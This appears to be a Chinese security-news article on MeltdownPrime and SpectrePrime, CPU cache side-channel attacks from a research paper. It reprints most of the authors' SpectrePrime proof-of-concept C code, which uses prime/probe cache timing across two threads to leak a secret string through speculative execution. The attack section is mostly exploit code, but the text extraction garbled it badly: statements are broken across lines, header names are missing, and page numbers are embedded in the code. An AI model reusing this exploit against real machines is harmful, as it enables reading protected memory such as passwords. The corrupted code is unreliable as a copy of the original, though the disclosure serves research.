CPU漏洞变种攻击:MeltdownPrime和SpectrePrime(含PoC)
更多全球网络安全资讯尽在E安全官网www.easyaq.com
作为近年来曝出的最严重的计算机硬件安全漏洞,别有用心的攻击者可以利用处理器的“幽灵”(Spectre)和“熔毁”(Meltdown)漏洞来访问计算机上受保护的内存信息,比如浏览器中保存的账号密码、或者电子邮件等隐私内容。尴尬的是,尽管全行业软硬件厂商在努力制作补丁,有关这两个安全漏洞的新变种攻击还是不断涌现。
英特尔、AMD 等软硬件厂商推出了修复补丁,但对计算机性能造成了一定程度的不利影响。深受影响的英特尔表示,该公司承诺在后续 CPU 中消除这一漏洞。
然而英伟达和普林斯顿大学的一支研究团队,刚刚在一份新报告(PDF)中揭示了两个 Meltdown 和 Spectre 漏洞利用的新方法,分别叫做“MeltdownPrime”和“SpectrePrime”。
据悉,攻击者可以让 CPU 的两个核心互相敌对,以欺骗多核系统放弃缓存数据。下面是这份研究报告总结部分的摘录:
Spectre 和 Meltdown 存在的情况下,相干失效使得一种 Prime+Probe 攻击成为了可能,精度可达到与 Flush+Reload 攻击的相同级别,以及泄露相同的信息类型。
利用缓存的失效,变种 Meltdown 和 Spectre 在使用 Prime+Probe 旁路信道攻击时,能够以相同的细粒度来泄露受害者的内存。
基于某种无效的一致性协议,MeltdownPrime 和 SpectrePrime 由系统中发起的写入请求引起。
总而言之,当前可用的补丁和安全更新有可能已经解决了变种攻击的问题。但是基于最新的状况,英特尔和 AMD 或需要考虑对其即将推出的 CPU 硬件加以调整。
SpectrePrime PoC
SpectrePrime PoC
https://arxiv.org/pdf/1802.03802.pdf
/*
*
=====================================================================================
* Filename: spectreprime-poc.c
* Description: POC SpectrePrime
*
* Version: 0.1
* Created: 01
/21/2018
* Revision: none
* Compiler: gcc -pthread spectreprime-poc.c -o poc
* Author: Caroline Trippel
*
* Adapted from POC Spectre
* POC Spectre Authors: Paul Kocher, Daniel Genkin, Daniel Gruss, Werner
Haas, Mike Hamburg,
* Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval
Yarom (2017)
*
=====================================================================================
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#import
struct pp_arg_struct {
int junk;
int tries;
int *results;
};
struct pt_arg_struct {
size_t malicious_x;
int tries;
};
//
used
for
setting thread affinty on macOS
kern_return_t thread_policy_set(
thread_t thread,
thread_policy_flavor_t flavor,
thread_policy_t policy_info,
mach_msg_type_number_t count);
kern_return_t thread_policy_get(
thread_t thread,
thread_policy_flavor_t flavor,
thread_policy_t policy_info,
mach_msg_type_number_t *count,
boolean_t *get_default);
#define handle_error_en(en, msg) \
do
{ errno = en; perror(msg);
exit
(EXIT_FAILURE); }
while
(0)
#ifdef _MSC_VER
#include /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
volatile int flag = 0;
char *secret =
"The Magic Words are Squeamish Ossifrage."
;
uint8_t temp = 0; /* Used so compiler wonat optimize out
victim_function() */
void victim_function(size_t x) {
if
(x < array1_size) {
//__asm__
(
"lfence"
); or __asm__(
"mfence"
); /* both
break
Spectre &
SpectrePrime
in
our experiments*/
9
array2[array1[x] * 512] = 1;
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_MISS_THRESHOLD (60) /* assume cache miss if time >=
threshold */
int prime() {
int i, junk = 0;
for
(i = 0; i < 256; i++)
junk += array2[i * 512];
return
junk;
}
void
test
(size_t malicious_x, int tries) {
int j;
size_t training_x, x;
training_x = tries % array1_size;
for
(j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
volatile int z = 0;
for
(z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to
set
x=training_x
if
j%6!=0 or malicious_x
if
j%6==0
*/
/* Avoid jumps
in
case
those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000
if
j%6==0,
else
x=0
*/
x = (x | (x >> 16)); /* Set x=-1
if
j&6=0,
else
x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
}
void probe(int junk, int tries, int results[256]) {
int i, mix_i;
volatile uint8_t *addr;
register uint64_t time1, time2;
for
(i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED
TIME */
if
(time2 >= CACHE_MISS_THRESHOLD && mix_i != array1[tries %
array1_size])
results[mix_i]++; /* cache hit - add +1 to score
for
this value */
}
}
void *primeProbe(void *arguments) {
//int
junk, int tries, int
results[256]) {
struct pp_arg_struct *args = arguments;
int junk = args->junk;
int tries = args->tries;
int *results = args->results;
prime();
while
(flag != 1) { }
flag = 0;
probe(junk, tries, results);
}
void *primeTest(void *arguments) {
//size_t
malicious_x, int tries) {
struct pt_arg_struct *args = arguments;
size_t malicious_x = args->malicious_x;
int tries = args->tries;
prime();
test
(malicious_x, tries);
flag = 1;
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, junk = 0;
pthread_t pp_thread, pt_thread;
struct pp_arg_struct pp_args;
10
struct pt_arg_struct pt_args;
pt_args.malicious_x = malicious_x;
pp_args.results = results;
pp_args.junk = junk;
for
(i = 0; i < 256; i++)
results[i] = 0;
for
(tries = 999; tries > 0; tries--) {
pp_args.tries = tries;
pt_args.tries = tries;
//
heuristics to encourge thread affinity on macOS
//
https:
//developer
.apple.com
/library/content/releasenotes/Performance/RN-AffinityAPI/index
.html
if
(pthread_create_suspended_np(&pp_thread, NULL, primeProbe,
&pp_args) != 0) abort();
mach_port_t mach_pp_thread = pthread_mach_thread_np(pp_thread);
thread_affinity_policy_data_t policyData1 = { 1 };
thread_policy_set(mach_pp_thread, THREAD_AFFINITY_POLICY,
(thread_policy_t)&policyData1, 1);
if
(pthread_create_suspended_np(&pt_thread, NULL, primeTest,
&pt_args) != 0) abort();
mach_port_t mach_pt_thread = pthread_mach_thread_np(pt_thread);
thread_affinity_policy_data_t policyData2 = { 2 };
thread_policy_set(mach_pt_thread, THREAD_AFFINITY_POLICY,
(thread_policy_t)&policyData2, 1);
thread_resume(mach_pp_thread);
thread_resume(mach_pt_thread);
//
join
threads
pthread_join(pp_thread, NULL);
pthread_join(pt_thread, NULL);
/* Locate highest & second-highest results results tallies
in
j
/k
*/
j = k = -1;
for
(i = 0; i < 256; i++) {
if
(j < 0 || results[i] >= results[j]) {
k = j;
j = i;
}
else
if
(k < 0 || results[i] >= results[k]) {
k = i;
}
}
if
(results[j] >= (2 * results[k] + 5) || (results[j] == 2 &&
results[k] == 0))
break
; /* Clear success
if
best is > 2*runner-up + 5 or 2
/0
) */
}
results[0] ^= junk; /* use junk so code above wonat get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default
for
malicious_x */
int i, j, s, score[2], len=40;
uint8_t value[2];
for
(i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so
in
RAM not copy-on-write zero pages
*/
if
(argc == 3) {
sscanf(argv[1],
"%p"
, (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2],
"%d"
, &len);
}
printf
(
"Reading %d bytes:\n"
, len);
while
(--len >= 0) {
printf
(
"Reading at malicious_x = %p... "
, (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf
(
"%s: "
, (score[0] >= 2*score[1] ?
"Success"
:
"Unclear"
));
printf
(
"0x%02X=%c score=’%d’ "
,
value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’),
score[0]);
if
(score[1] > 0)
printf
(
"(second best: 0x%02X=%c score=%d)"
, value[1], (value[0] > 31
&& value[0] < 127 ? value[0] : ’?’), score[1]);
printf
(
"\n"
);
}
return
(0);
}
https://www.easyaq.com/news/1272479028.shtml
推荐阅读:
▼点击“阅读原文” 查看更多精彩内容